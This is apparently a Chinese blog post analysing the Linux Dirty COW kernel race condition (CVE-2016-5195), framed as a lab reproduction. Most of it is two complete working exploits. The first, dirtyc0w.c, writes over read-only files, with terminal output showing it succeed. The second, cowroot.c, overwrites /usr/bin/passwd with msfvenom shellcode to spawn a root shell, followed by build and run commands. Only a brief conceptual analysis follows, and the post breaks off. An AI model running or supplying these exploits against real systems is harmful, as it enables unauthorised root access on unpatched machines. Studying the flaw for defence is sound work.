1617 words
8 minutes
Dirty Cow(CVE-2016-5195) 漏洞分析
CVE-2016-5195,又被称为Dirty COW(脏牛漏洞),是一个存在于Linux内核中的严重本地权限提升漏洞。这个漏洞首先在2016年被发现,其名称来源于“Copy-On-Write”机制的缩写“COW”,CVE-2016-5195是一个内核竞态条件漏洞,影响范围:Linux Kernel > 2.6.22。
实验环境
VMware虚拟机
Linux 4.4.0
漏洞复现
dirtyc0w.c这个PoC可以实现向任意可读文件写任意内容。
#include <stdio.h>#include <sys/mman.h>#include <fcntl.h>#include <pthread.h>#include <unistd.h>#include <sys/stat.h>#include <string.h>#include <stdint.h>
void *map; //存储文件映射的内存地址int f; //文件描述符struct stat st; //存储文件的状态信息char *name; //文件名
/* madviseThread 函数 * 该函数在一个独立线程中运行,通过不断调用 madvise 来让操作系统认为映射的页面不再需要。 * 传入的参数是目标文件的名称,执行系统调用 madvise。 */void *madviseThread(void *arg){ char *str; str=(char*)arg; int i,c=0; for(i=0;i<100000000;i++) // 循环多次调用 madvise,制造竞争条件 { /* * madvise 函数告诉操作系统指定内存区域的使用方式。 * MADV_DONTNEED 提示系统不再需要该内存区域的内容, * 操作系统可以丢弃该区域的页面,促使文件重新加载进内存。 */ c+=madvise(map,100,MADV_DONTNEED); } printf("madvise %d\n\n",c);}
/* procselfmemThread 函数 * 该函数在另一个线程中运行,不断地向 /proc/self/mem 写入数据。 * 传入的参数是目标文件的新内容。 */void *procselfmemThread(void *arg){ char *str; str=(char*)arg; // 获取传入的新内容
/* * /proc/self/mem 是一个特殊文件,允许进程访问自己内存中的内容。 * 打开这个文件后可以对进程内存中的内容进行读写操作。 */ int f=open("/proc/self/mem",O_RDWR); int i,c=0;
for(i=0;i<100000000;i++) { // 循环多次写入数据,制造竞争条件
/* * lseek 将文件指针移动到映射的内存区域,便于写入新的内容。 * map 是映射的内存地址,我们通过 lseek 定位到该地址。 */ lseek(f,(uintptr_t) map,SEEK_SET); // 将文件指针重置到映射的内存位置
/* * write 函数用于向文件写入数据,在这里向映射的内存中写入新内容。 * 由于有竞争条件,这个写操作会覆盖文件的原始内容。 */ c+=write(f,str,strlen(str)); } printf("procselfmem %d\n\n", c);}
int main(int argc,char *argv[]){ if (argc<3) { (void)fprintf(stderr, "%s\n", "usage: dirtyc0w target_file new_content"); return 1; } pthread_t pth1,pth2; f=open(argv[1],O_RDONLY); fstat(f,&st); name=argv[1];
/* * 使用 mmap 将文件映射到内存中,使用 MAP_PRIVATE 和 PROT_READ。 * MAP_PRIVATE 表示私有映射,修改不会影响其他映射该文件的进程。 * PROT_READ 表示映射区域是只读的。 */ map=mmap(NULL,st.st_size,PROT_READ,MAP_PRIVATE,f,0); printf("mmap %zx\n\n",(uintptr_t) map); /* * 创建两个线程: * - 第一个线程调用 madviseThread,传入文件名,制造竞争条件。 * - 第二个线程调用 procselfmemThread,传入新内容,尝试修改文件内容。 */ pthread_create(&pth1,NULL,madviseThread,argv[1]); pthread_create(&pth2,NULL,procselfmemThread,argv[2]); // 等待两个线程执行完毕,使用 pthread_join 确保主线程在它们结束前不会退出。 pthread_join(pth1,NULL); pthread_join(pth2,NULL); return 0;}
执行shell命令:
####################### dirtyc0w.c #######################$ sudo -s# echo this is not a test > foo# chmod 0404 foo$ ls -lah foo-r-----r-- 1 root root 19 Oct 20 15:23 foo$ cat foothis is not a test$ gcc -pthread dirtyc0w.c -o dirtyc0w$ ./dirtyc0w foo m00000000000000000mmap 56123000madvise 0procselfmem 1800000000$ cat foom00000000000000000####################### dirtyc0w.c #######################
cowroot.c可以实现提权。
#include <stdio.h>#include <stdlib.h>#include <sys/mman.h>#include <fcntl.h>#include <pthread.h>#include <string.h>#include <unistd.h>
void *map;int f;int stop = 0;struct stat st;char *name;pthread_t pth1,pth2,pth3;
// change if no permissions to readchar suid_binary[] = "/usr/bin/passwd";
/** $ msfvenom -p linux/x64/exec CMD=/bin/bash PrependSetuid=True -f elf | xxd -i*/unsigned char sc[] = { 0x7f, 0x45, 0x4c, 0x46, 0x02, 0x01, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x02, 0x00, 0x3e, 0x00, 0x01, 0x00, 0x00, 0x00, 0x78, 0x00, 0x40, 0x00, 0x00, 0x00, 0x00, 0x00, 0x40, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x40, 0x00, 0x38, 0x00, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00, 0x07, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x40, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x40, 0x00, 0x00, 0x00, 0x00, 0x00, 0xb1, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xea, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x10, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x48, 0x31, 0xff, 0x6a, 0x69, 0x58, 0x0f, 0x05, 0x6a, 0x3b, 0x58, 0x99, 0x48, 0xbb, 0x2f, 0x62, 0x69, 0x6e, 0x2f, 0x73, 0x68, 0x00, 0x53, 0x48, 0x89, 0xe7, 0x68, 0x2d, 0x63, 0x00, 0x00, 0x48, 0x89, 0xe6, 0x52, 0xe8, 0x0a, 0x00, 0x00, 0x00, 0x2f, 0x62, 0x69, 0x6e, 0x2f, 0x62, 0x61, 0x73, 0x68, 0x00, 0x56, 0x57, 0x48, 0x89, 0xe6, 0x0f, 0x05};unsigned int sc_len = 177;
/** $ msfvenom -p linux/x86/exec CMD=/bin/bash PrependSetuid=True -f elf | xxd -iunsigned char sc[] = { 0x7f, 0x45, 0x4c, 0x46, 0x01, 0x01, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x02, 0x00, 0x03, 0x00, 0x01, 0x00, 0x00, 0x00, 0x54, 0x80, 0x04, 0x08, 0x34, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x34, 0x00, 0x20, 0x00, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x80, 0x04, 0x08, 0x00, 0x80, 0x04, 0x08, 0x88, 0x00, 0x00, 0x00, 0xbc, 0x00, 0x00, 0x00, 0x07, 0x00, 0x00, 0x00, 0x00, 0x10, 0x00, 0x00, 0x31, 0xdb, 0x6a, 0x17, 0x58, 0xcd, 0x80, 0x6a, 0x0b, 0x58, 0x99, 0x52, 0x66, 0x68, 0x2d, 0x63, 0x89, 0xe7, 0x68, 0x2f, 0x73, 0x68, 0x00, 0x68, 0x2f, 0x62, 0x69, 0x6e, 0x89, 0xe3, 0x52, 0xe8, 0x0a, 0x00, 0x00, 0x00, 0x2f, 0x62, 0x69, 0x6e, 0x2f, 0x62, 0x61, 0x73, 0x68, 0x00, 0x57, 0x53, 0x89, 0xe1, 0xcd, 0x80};unsigned int sc_len = 136;*/
void *madviseThread(void *arg){ char *str; str=(char*)arg; int i,c=0; for(i=0;i<1000000 && !stop;i++) { c+=madvise(map,100,MADV_DONTNEED); } printf("thread stopped\n");}
void *procselfmemThread(void *arg){ char *str; str=(char*)arg; int f=open("/proc/self/mem",O_RDWR); int i,c=0; for(i=0;i<1000000 && !stop;i++) { lseek(f,map,SEEK_SET); c+=write(f, str, sc_len); } printf("thread stopped\n");}
void *waitForWrite(void *arg) { char buf[sc_len];
for(;;) { FILE *fp = fopen(suid_binary, "rb");
fread(buf, sc_len, 1, fp);
if(memcmp(buf, sc, sc_len) == 0) { printf("%s overwritten\n", suid_binary); break; }
fclose(fp); sleep(1); }
stop = 1;
printf("Popping root shell.\n"); printf("Don't forget to restore /tmp/bak\n");
system(suid_binary);}
int main(int argc,char *argv[]) { char *backup;
printf("DirtyCow root privilege escalation\n"); printf("Backing up %s to /tmp/bak\n", suid_binary);
asprintf(&backup, "cp %s /tmp/bak", suid_binary); system(backup);
f = open(suid_binary,O_RDONLY); fstat(f,&st);
printf("Size of binary: %d\n", st.st_size);
char payload[st.st_size]; memset(payload, 0x90, st.st_size); memcpy(payload, sc, sc_len+1);
map = mmap(NULL,st.st_size,PROT_READ,MAP_PRIVATE,f,0);
printf("Racing, this may take a while..\n");
pthread_create(&pth1, NULL, &madviseThread, suid_binary); pthread_create(&pth2, NULL, &procselfmemThread, payload); pthread_create(&pth3, NULL, &waitForWrite, NULL);
pthread_join(pth3, NULL);
return 0;}
shell命令:
##(un)comment correct payload first (x86 or x64)!gcc cowroot.c -o cowroot -pthread./cowroot
漏洞分析
分析漏洞需要了解以下知识:
- 写时拷贝
- 页式内存管理
- 缺页中断处理
该漏洞的成因是get_user_page
内核函数在处理Copy-on-Write
(以下使用COW表示)的过程中,可能发生竞态条件造成COW过程被破坏,导致出现写数据到进程地址空间内只读内存区域的机会。当我们向带有MAP_PRIVATE
标志的只读文件映射区域写数据时,会产生一个映射文件的复制(COW),对此区域的任何修改都不会写回原来的文件,如果上述的竞态条件发生,就能成功的写回原来的文件。比如我们修改su或者passwd程序就可以达到root的目的。
其中,MAP_PRIVATE
标志指示创建的映射区域是写时拷贝的私有映射区域,且对映射区域的任何写操作都不会影响底层文件或其他进程
Dirty Cow(CVE-2016-5195) 漏洞分析
https://fuwari.vercel.app/posts/cve-2016-5195dirty-cow漏洞分析未完待续/